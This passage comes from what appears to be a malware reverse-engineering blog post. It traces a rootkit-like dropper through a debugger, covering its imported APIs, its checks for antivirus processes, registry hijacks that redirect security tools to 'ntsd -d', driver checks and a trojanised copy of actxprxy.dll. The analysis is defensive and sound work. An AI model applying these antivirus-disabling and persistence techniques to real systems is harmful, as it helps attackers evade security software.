;GetCurrentProc\n003948E0  65 73 73 49 64 00 5A 00 43 72 65 61 74 65 4D 75  essId.Z.CreateMu\n003948F0  74 65 78 41 00 00 49 00 43 72 65 61 74 65 45 76  texA..I.CreateEv\n00394900  65 6E 74 41 00 00 73 03 56 69 72 74 75 61 6C 41  entA..sVirtualA\n00394910  6C 6C 6F 63 00 00 87 03 57 69 64 65 43 68 61 72  lloc..\u2021WideChar\n00394920  54 6F 4D 75 6C 74 69 42 79 74 65 00 3A 01 47 65  ToMultiByte.:Ge\n00394930  74 43 75 72 72 65 6E 74 50 72 6F 63 65 73 73 00  tCurrentProcess.\n00394940  94 03 57 72 69 74 65 46 69 6C 65 00 0E 03 53 65  \u201dWriteFile.Se\n00394950  74 46 69 6C 65 50 6F 69 6E 74 65 72 00 00 B6 03  tFilePointer..\u00b6\n00394960  6C 73 74 72 63 70 79 41 00 00 A9 02 52 65 61 64  lstrcpyA..\u00a9Read\n00394970  46 69 6C 65 00 00 5B 01 47 65 74 46 69 6C 65 53  File..[GetFileS\n00394980  69 7A 65 00 4D 00 43 72 65 61 74 65 46 69 6C 65  ize.M.CreateFile\n00394990  41 00 3D 00 43 6F 70 79 46 69 6C 65 41 00 47 03  A.=.CopyFileA.G\n003949A0  53 6C 65 65 70 00 BC 03 6C 73 74 72 6C 65 6E 41  Sleep.\u00bclstrlenA\n003949B0  00 00 AD 03 6C 73 74 72 63 61 74 41 00 00 CB 01  ..\u00adlstrcatA..\u00cb\n003949C0  47 65 74 54 65 6D 70 50 61 74 68 41 00 00 B2 00  GetTempPathA..\u00b2.\n003949D0  45 78 70 61 6E 64 45 6E 76 69 72 6F 6E 6D 65 6E  ExpandEnvironmen\n003949E0  74 53 74 72 69 6E 67 73 41 00 AF 00 45 78 69 74  tStringsA.\u00af.Exit\n003949F0  50 72 6F 63 65 73 73 00 83 00 44 65 76 69 63 65  Process.\u0192.Device\n00394A00  49 6F 43 6F 6E 74 72 6F 6C 00 77 03 56 69 72 74  IoControl.wVirt\n00394A10  75 61 6C 46 72 65 65 45 78 00 53 01 47 65 74 45  ualFreeEx.SGetE\n00394A20  78 69 74 43 6F 64 65 54 68 72 65 61 64 00 98 01  xitCodeThread.\u02dc\n00394A30  47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00  GetProcAddress..\n00394A40  6B 02 4D 75 6C 74 69 42 79 74 65 54 6F 57 69 64  kMultiByteToWid\n00394A50  65 43 68 61 72 00 9D 03 57 72 69 74 65 50 72 6F  eChar.\u009dWritePro\n00394A60  63 65 73 73 4D 65 6D 6F 72 79 00 00 83 03 57 61  cessMemory..\u0192Wa\n00394A70  69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63  itForSingleObjec\n00394A80  74 00 74 03 56 69 72 74 75 61 6C 41 6C 6C 6F 63  t.tVirtualAlloc\n00394A90  45 78 00 00 32 03 53 65 74 54 68 72 65 61 64 43  Ex..2SetThreadC\n00394AA0  6F 6E 74 65 78 74 00 00 C5 02 52 65 73 75 6D 65  ontext..\u00c5Resume\n00394AB0  54 68 72 65 61 64 00 00 65 02 4D 6F 76 65 46 69  Thread..eMoveFi\n00394AC0  6C 65 45 78 41 00 48 02 4C 6F 61 64 4C 69 62 72  leExA.HLoadLibr\n00394AD0  61 72 79 41 00 00 CD 01 47 65 74 54 68 72 65 61  aryA..\u00cdGetThrea\n00394AE0  64 43 6F 6E 74 65 78 74 00 00 AF 01 47 65 74 53  dContext..\u00afGetS\n00394AF0  74 61 72 74 75 70 49 6E 66 6F 41 00 52 01 47 65  tartupInfoA.RGe\n00394B00  74 45 78 69 74 43 6F 64 65 50 72 6F 63 65 73 73  tExitCodeProcess\n00394B10  00 00 B0 00 45 78 69 74 54 68 72 65 61 64 00 00  ..\u00b0.ExitThread..\n00394B20  60 00 43 72 65 61 74 65 50 72 6F 63 65 73 73 41  `.CreateProcessA\n00394B30  00 00 7C 00 44 65 6C 65 74 65 46 69 6C 65 41 00  ..|.DeleteFileA.\n00394B40  64 00 43 72 65 61 74 65 52 65 6D 6F 74 65 54 68  d.CreateRemoteTh\n00394B50  72 65 61 64 00 00 C9 01 47 65 74 54 65 6D 70 46  read..\u00c9GetTempF\n00394B60  69 6C 65 4E 61 6D 65 41 00 00 52 02 4C 6F 63 61  ileNameA..RLoca\n00394B70  6C 46 72 65 65 00 4E 02 4C 6F 63 61 6C 41 6C 6C  lFree.NLocalAll\n00394B80  6F 63 00 00 E1 01 47 65 74 56 6F 6C 75 6D 65 49  oc..\u00e1GetVolumeI\n00394B90  6E 66 6F 72 6D 61 74 69 6F 6E 41 00 45 01 47 65  nformationA.EGe\n00394BA0  74 44 69 73 6B 46 72 65 65 53 70 61 63 65 41 00  tDiskFreeSpaceA.\n00394BB0  4F 03 54 65 72 6D 69 6E 61 74 65 50 72 6F 63 65  OTerminateProce\n00394BC0  73 73 00 00 D5 01 47 65 74 54 69 63 6B 43 6F 75  ss..\u00d5GetTickCou\n00394BD0  6E 74 00 00 56 01 47 65 74 46 69 6C 65 41 74 74  nt..VGetFileAtt\n00394BE0  72 69 62 75 74 65 73 41 00 00 08 03 53 65 74 45  ributesA..SetE\n00394BF0  72 72 6F 72 4D 6F 64 65 00 00 4B 45 52 4E 45 4C  rrorMode..KERNEL\n00394C00  33 32 2E 64 6C 6C 00 00 97 02 6D 65 6D 63 70 79  32.dll..\u2014memcpy\n00394C10  00 00 99 02 6D 65 6D 73 65 74 00 00 B2 02 73 70  ..&#x2122;memset..\u00b2sp\n00394C20  72 69 6E 74 66 00 5E 02 66 72 65 65 00 00 C3 02  rintf.^free..\u00c3\n00394C30  73 74 72 72 63 68 72 00 91 02 6D 61 6C 6C 6F 63  strrchr.\u2018malloc\n00394C40  00 00 4D 53 56 43 52 54 2E 64 6C 6C 00 00 0F 01  ..MSVCRT.dll..\n00394C50  5F 69 6E 69 74 74 65 72 6D 00 9D 00 5F 61 64 6A  _initterm.\u009d._adj\n00394C60  75 73 74 5F 66 64 69 76 00 00 00 00 00 00 00 00  ust_fdiv........\n00394C70  00 00 00 00 55 D0 89 4C 00 00 00 00 9C 4C 00 00  ....U\u00d0\u2030L....\u0153L..\n00394C80  0C 00 00 00 01 00 00 00 00 00 00 00 98 4C 00 00  ...........\u02dcL..\n00394C90  9C 4C 00 00 9C 4C 00 00 48 2D 00 00 6C 7A 6D 61  \u0153L..\u0153L..H-..lzma\n00394CA0  2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00  .dll............<\/pre>\n<p>Look at the strings in the list - some of them are really interesting<\/p>\n<ul>\n<li>wuauserv <\/li>\n<li>%Systemroot%\\sytem32\\psapi.dll <\/li>\n<li>%Systemroot%\\system32\\wuauclt.exe <\/li>\n<li>calc <\/li>\n<li>SYSTEM\\CurrentControlSet\\Services\\%08x.. <\/li>\n<li>Debugger <\/li>\n<li>ntsd -d <\/li>\n<li>MACHINE\\%sSOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options <\/li>\n<li>SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects <\/li>\n<li>qutmipc.qutmdrv.hookport <\/li>\n<li>BAPIDRV<br \/>\n    <\/li>\n<\/ul>\n<p>(Let's see if we notice one or more of those strings further down along the road)<\/p>\n<p>The production of binary data\/bytes continues : 0x2048 bytes are written to 00395000<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image85.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb84.png\" width=\"417\" height=\"345\" \/><\/a><\/p>\n<p>0x256 bytes are written to 00397000 :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image86.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb85.png\" width=\"416\" height=\"387\" \/><\/a><\/p>\n<p>Then the code continues with a call to GetModuleHandleA(&quot;advapi32.dll&quot;). <\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image87.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb86.png\" width=\"492\" height=\"145\" \/><\/a><\/p>\n<p>This function returns the base pointer to advapi32.dll and puts it in eax.&#160; <\/p>\n<p>Next, a loop of GetProcAddress() calls are executed, looking for the function pointers (pointer to the function name string is put&#160; ECX) to the functions in advapi32.dll, kernel32.dll and msvcrt.dll below. (Function pointers are stored at 00394000 + offset)<\/p>\n<ul>\n<li>CloseServiceHandle <\/li>\n<li>StartServiceA <\/li>\n<li>ChangeServiceConfigA <\/li>\n<li>QueryServiceConfigA <\/li>\n<li>QueryServiceStatusEx <\/li>\n<li>OpenServiceA <\/li>\n<li>OpenSCManagerA <\/li>\n<li>RegEnumKeyA <\/li>\n<li>RegCloseKey <\/li>\n<li>RegQueryInfoKeyA <\/li>\n<li>RegDeleteKeyA <\/li>\n<li>RegOpenKeyA <\/li>\n<li>RegSetValueExA <\/li>\n<li>RegCreateKeyA <\/li>\n<li>SetNamedSecurityInfoA <\/li>\n<li>SetEntriesInAclA <\/li>\n<li>BuildExplicitAccessWithNameW <\/li>\n<li>GetNamedSecurityInfoA <\/li>\n<li>RegCreateKeyExA <\/li>\n<li>GetModuleHandleA <\/li>\n<li>OpenProcess <\/li>\n<li>Process32Next <\/li>\n<li>lstrcmpiA <\/li>\n<li>CloseHandle <\/li>\n<li>Process32First <\/li>\n<li>CreateToolhelp32Snapshot <\/li>\n<li>VirtualFree <\/li>\n<li>GetCurrentProcessId <\/li>\n<li>CreateMutexA <\/li>\n<li>CreateEventA <\/li>\n<li>VirtualAlloc <\/li>\n<li>WideCharToMultiByte <\/li>\n<li>GetCurrentProcess <\/li>\n<li>WriteFile <\/li>\n<li>SetFilePointer <\/li>\n<li>lstrcpyA <\/li>\n<li>ReadFile <\/li>\n<li>GetFileSize <\/li>\n<li>CreateFileA <\/li>\n<li>CopyFileA <\/li>\n<li>Sleep <\/li>\n<li>lstrlenA <\/li>\n<li>lstrcatA <\/li>\n<li>GetTempPathA <\/li>\n<li>ExpandEnvironmentStringA <\/li>\n<li>ExitProcess <\/li>\n<li>DeviceIoControl <\/li>\n<li>VirtualFreeEx <\/li>\n<li>GetExitCodeThread <\/li>\n<li>GetProcAddress <\/li>\n<li>MultiByteToWideChar <\/li>\n<li>WriteProcessMemory <\/li>\n<li>WaitForSingleObject <\/li>\n<li>VirtualAllocEx <\/li>\n<li>SetThreadContext <\/li>\n<li>ResumeThread <\/li>\n<li>MoveFileExA <\/li>\n<li>LoadLibraryA <\/li>\n<li>GetThreadContext <\/li>\n<li>GetStartupInfoA <\/li>\n<li>GetExitCodeProcess <\/li>\n<li>ExitThread <\/li>\n<li>CreateProcessA <\/li>\n<li>DeleteFileA <\/li>\n<li>CreateRemoteThread <\/li>\n<li>GetTempFileNameA <\/li>\n<li>LocalFree <\/li>\n<li>LocalAlloc <\/li>\n<li>GetVolumeInformationA <\/li>\n<li>GetDiskFreeSpaceA <\/li>\n<li>TerminateProcess <\/li>\n<li>GetTickCount <\/li>\n<li>GetFileAttributesA <\/li>\n<li>setErrorMode <\/li>\n<li>memcpy <\/li>\n<li>memset <\/li>\n<li>sprintf <\/li>\n<li>free <\/li>\n<li>strrchr <\/li>\n<li>malloc <\/li>\n<li>_initterm <\/li>\n<li>_adjust_fdiv <\/li>\n<\/ul>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image99.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb97.png\" width=\"552\" height=\"229\" \/><\/a><\/p>\n<p>The code that was generated in the heap a few moments ago, gets executed (0x00392D48).&#160; I already stated that it would be likely to see code being generated\/reproduced at runtime, and executed\u2026 so here it is \u2026<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image100.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb98.png\" width=\"554\" height=\"426\" \/><\/a><\/p>\n<p>First, pointers to the strings (which appear to be executables etc) are written to the stack (EBP+offset) :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image101.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb99.png\" width=\"475\" height=\"246\" \/><\/a><\/p>\n<p>Combined with the function names we saw earlier, we may see<\/p>\n<ul>\n<li>services <\/li>\n<li>drivers <\/li>\n<li>registry edits <\/li>\n<li>\u2026 <\/li>\n<\/ul>\n<p>(typical rootkit behaviour - and since the original payload was delivered thru an exploit with system permissions, this rootkit may even be able to hide in the kernel)<\/p>\n<p>Let's continue.<\/p>\n<p>Function 003911ED is called. That function runs GetModuleHandleA() on ntdll.dll. Then, some pointers are written to EBP-offset<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image102.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb100.png\" width=\"459\" height=\"343\" \/><\/a><\/p>\n<p>and function 0x00391175 is called, which retrieves a pointer to CsrAllocateCaptureBuffer().&#160; When 003911ED returns, EAX contains 1.&#160; The routine continues with loading psapi.dll (LoadLibraryA(&quot;psapi&quot;)) and then runs ntdll.RtlAdjustPrivilege with parameter 0xA (SeLoadDriverPrivilege)<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image103.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb101.png\" width=\"721\" height=\"121\" \/><\/a><\/p>\n<p>and ntdll.RtlAdjustPrivilege with parameter 0x14 (SeIncreaseBasePriorityPrivilege)<\/p>\n<p>Next, it calls routine 0x00391421 :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image104.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb102.png\" width=\"567\" height=\"577\" \/><\/a><\/p>\n<ul>\n<li>Allocates 0x400000 bytes of RW memory at 0x008F0000 <\/li>\n<li>Creates event kernel32.CreateEventA(pSecurity = NULL, ManualReset = FALSE, InitiallySignaled = FALSE, EventName = &quot;Safe32.Event&quot;) <\/li>\n<li>Calls kernel32.CreateMutexA(pSecurity = NULL, InitialOwner = FALSE, MutexName = &quot;Safe32.MutantName&quot;) <\/li>\n<li>Calls ntdll.ZwQuerySystemInformation, which returns zero <\/li>\n<li>Copies data to the newly allocated heap and ends with a pointer to 00901E84 in ESI <\/li>\n<li>calls kernel32.CloseHandle on hObject 0x3C, 0x38 and <\/li>\n<li>runs kernel32.VirtualFree() on 0x008F0000 <\/li>\n<\/ul>\n<p>What is weird is that I don't seem to be able to dump memory at 008F0000 when attached to l.exe\u2026&#160; <\/p>\n<p>When the function returns, it retrieves a function pointer and then calls function 0x003912D1 :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image105.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb103.png\" width=\"572\" height=\"484\" \/><\/a><\/p>\n<p>Using REP STOS, some data is cleared on the stack (replaced with zero) and then kernel32.CreateToolhelp32Snapshot() is called, with flag TH32CS_SNAPPROCESS, on processID 0<\/p>\n<p>Then, kernel32.Process32First() is called, hSnapshot set to 0x38 and pProcessentry to 0012F748 (00000128). After the first run, call, the stack contains the following string:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012F748   00000128  (..\n0012F74C   00000000  ....\n0012F750   00000000  ....\n0012F754   00000000  ....\n0012F758   00000000  ....\n0012F75C   00000001  ...\n0012F760   00000000  ....\n0012F764   00000000  ....\n0012F768   00000000  ....\n0012F76C   7379535B  [Sys\n0012F770   206D6574  tem\n0012F774   636F7250  Proc\n0012F778   5D737365  ess]\n0012F77C   00000000  ....\n0012F780   00000000  ....\n0012F784   00000000  ....\n0012F788   00000000  ....<\/pre>\n<p>Then an iteration\/loop is created, where all running processes are listed and a string compare is executed to find out if 360tray.exe is running.<\/p>\n<p>Example : comparing &quot;[System Process]&quot; with &quot;360tray.exe&quot;<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image106.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb104.png\" width=\"654\" height=\"202\" \/><\/a><\/p>\n<p>This obviously returns -1 (EAX=FFFFFFFF), so Process32Next gets called, the name of the next process is put on the stack, and another compare is executed.<\/p>\n<p>Then, the entire loop is repeated again for the following strings<\/p>\n<ul>\n<li>360tray.exe <\/li>\n<li>avp.exe <\/li>\n<li>rstray.exe <\/li>\n<li>kavstart.exe <\/li>\n<li>nod32krn.exe <\/li>\n<li>ekrn.exe <\/li>\n<li>egui.exe <\/li>\n<li>kpptray.exe <\/li>\n<li>360sd.exe <\/li>\n<\/ul>\n<p>Following these queries, function 0x00392A60 gets called. This function starts infecting the machine by manipulating the registry :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image107.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb105.png\" width=\"655\" height=\"525\" \/><\/a><\/p>\n<p>A new registry hive is added (if it does not exist already): HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options.&#160; If EAX returns 1 (key does not exist), it will create it.<\/p>\n<p>A key &quot;Debugger&quot; is added for &quot;360tray.exe&quot;, with &quot;Buffer&quot; pointing to 003942EC (&quot;ntsd -d&quot;)<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image108.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb106.png\" width=\"611\" height=\"135\" \/><\/a><\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image109.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb107.png\" width=\"578\" height=\"102\" \/><\/a><\/p>\n<p>The code then performs the same registry change for safeboxtray.exe, avp.exe, kavstart.exe, rstray.exe, nod32krn.exe, ekrn.exe, egui.exe, 360sd.exe, 360rp.exe, ZhuDongFangYu.exe, LiveUpdate360.exe<\/p>\n<p>This registry change impacts the user mode part of CreateProcess.&#160; Upon launching an executable, the OS looks for a registry entry for the executable and if a Debugger entry is found, it will launch the application defined as &quot;debugger&quot; instead of the application. More info can be found here.&#160; It's a nice way to redirect the execution of code to another binary. ntds is part of the <a href=\"http:\/\/www.debuginfo.com\/articles\/ntsdwatson.html\">Debugging Tools for Windows<\/a>.<\/p>\n<p>Option -d :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">  -d sends all debugger output to kernel debugger via DbgPrint\n     input is requested from the kernel debugger via DbgPrompt\n     -d cannot be used with debugger remoting\n     -d can only be used when the kernel debugger is enabled<\/pre>\n<p>(It's unclear what the actual goal of these registry changes are)<\/p>\n<p>Next, the string &quot;%%Systemroot%%\\system32\\drivers\\EfiMon.sys&quot; is produced using a printf call :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image110.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb108.png\" width=\"575\" height=\"144\" \/><\/a><\/p>\n<p>Then, the environment variable is resolved and the string becomes &quot;c:\\windows\\system32\\drivers\\EfiMon.sys&quot;, followed by a call to GetFileAttributesA on that file.&#160; Nice way to find out of the file exists without actually opening it \ud83d\ude42<\/p>\n<p>The same routine is repeated for BAPIDRV.sys, hookport.sys, qutmdrv.sys and qutmipc.sys, 360selfprotection.sys&#160; (basically all strings found at 00394470 and below).<\/p>\n<p>The pointer to string &quot;{B69F34DD-F0F9-42DC-9EDD-957187DA688D}&quot; is pushed onto the stack and function 0x00392B7C is called, which will try to create registry key &quot;<a href=\"http:\/\/en.wikipedia.org\/wiki\/Browser_Helper_Object\">Browser Helper Objects<\/a>&quot; under HKLM\\Microsoft\\Windows\\CurrentVersion\\Explorer (if it does not exist)<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image111.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb109.png\" width=\"573\" height=\"114\" \/><\/a><\/p>\n<p>In essence, if an object is linked to it, it will facilitate the injection of potentially malicious code within Internet Explorer.&#160; Interestingly enough the CLSID itself does not get created at this point. False positive ?&#160; Or too early ?<\/p>\n<p>ANyways, it returns to code in the tmp\/dll at 100059F1. First, it clears the memory at 0x00390000 (VirtualFree), removing all of the code that was used a few moments ago.<\/p>\n<p>Right after the VirtualFree, it will release the Resource at 0x1000C0B0, it does a VirtualFree on 0x00380000, removes the SEH chain record that was pointing at 0x10005F54, and then returns to 0x00402058 (back to l.exe). <\/p>\n<p>Then, the function to read strings from the string array that was created in l.exe is called, retrieving pointers to a couple of strings. The pointers are then saved on the stack (EBP-offset) :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image112.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb110.png\" width=\"569\" height=\"140\" \/><\/a><\/p>\n<p>Next, function 0x10004EF2 is called (which is one of the exported functions in the dll : RMOC3260_7)<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image88.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb87.png\" width=\"568\" height=\"384\" \/><\/a><\/p>\n<p>In short, the function will :<\/p>\n<ul>\n<li>load sfc.dll (LoadLibraryA) and run some routines in crypt32.dll (CryptInstallAsn1Module &quot;pfxp&quot;, &quot;pfxn&quot;, &quot;x509&quot;, &quot;pkcs&quot;) &lt;- is this an indication that the code is going to sign a file\/driver\/binary\/\u2026 ?&#160;&#160; We'll see. <\/li>\n<li>put a pointer to string &quot;%Systemroot%\\system32\\&quot; into eax <\/li>\n<li>concatenate rmoc3260.tlb to that string, so the string becomes &quot;%Systemroot%\\system32\\rmoc3260.tlb&quot; <\/li>\n<li>expand the environment string %systemroot%, so the string becomes &quot;c:\\windows\\system32\\rmoc3260.tlb&quot; <\/li>\n<li>copy the .tmp file to c:\\windows\\system32\\rmoc3260.tlb (with FailIfExists flag set to FALSE) <\/li>\n<li>run GetProcAddress on sfcIsFileProtected(), returning pointer of the function in eax <\/li>\n<li>build another string that says &quot;c:\\windows\\system32\\actxprxy.dll&quot; <\/li>\n<li>generate a new temp filename (tempfile B) &amp; copies actxprxy.dll to that tmp file (via function 10004D4B) <\/li>\n<\/ul>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">md5sum &quot;c:\\Documents and Settings\\corelan\\Local Settings\\Temp\\52.tmp&quot;\n\\912b67bb8249925a5c972fc5839eae09 *c:\\\\Documents and Settings\\\\corelan\\\\Local Se\nttings\\\\Temp\\\\52.tmp\n\nmd5sum &quot;c:\\windows\\system32\\actxprxy.dll&quot;\n\\912b67bb8249925a5c972fc5839eae09 *c:\\\\windows\\\\system32\\\\actxprxy.dll<\/pre>\n<ul>\n<li>Via function 100048CF, this new tmp file is opened (FILE_SHARE_READ, access GENERIC_READ\/WRITE) (in essence, the copy of actxproxy.dll is opened) <\/li>\n<\/ul>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012F59C   0012FA98  \u02dc\u00fa.  |FileName = &quot;C:\\DOCUME~1\\corelan\\LOCALS~1\\Temp\\4B.tmp&quot;\n0012F5A0   C0000000  ...\u00c0  |Access = GENERIC_READ|GENERIC_WRITE\n0012F5A4   00000001  ...  |ShareMode = FILE_SHARE_READ\n0012F5A8   00000000  ....  |pSecurity = NULL\n0012F5AC   00000003  ...  |Mode = OPEN_EXISTING\n0012F5B0   00000000  ....  |Attributes = 0\n0012F5B4   00000000  ....  \\hTemplateFile = NULL<\/pre>\n<ul>\n<li>filesize is retrieved (0x18000 bytes) (kernel32.GetFileSize) <\/li>\n<li>VirtualAlloc() call executed (allocation a block of RW memory with the same size as the file) at 0x00380000 <\/li>\n<li>base of kernel32 is retrieved <\/li>\n<li>length of string &quot;rmoc3260.tlb&quot; is retrieved (= 0xC)&#160; (kernel32.lstrlenA) <\/li>\n<li>read the file into the newly allocated memory block at 0x00380000&#160; (kernel32.ReadFile)<br \/>\n    <\/li>\n<\/ul>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image1111.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image1111_thumb.png\" width=\"586\" height=\"97\" \/><\/a> <\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image113.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" 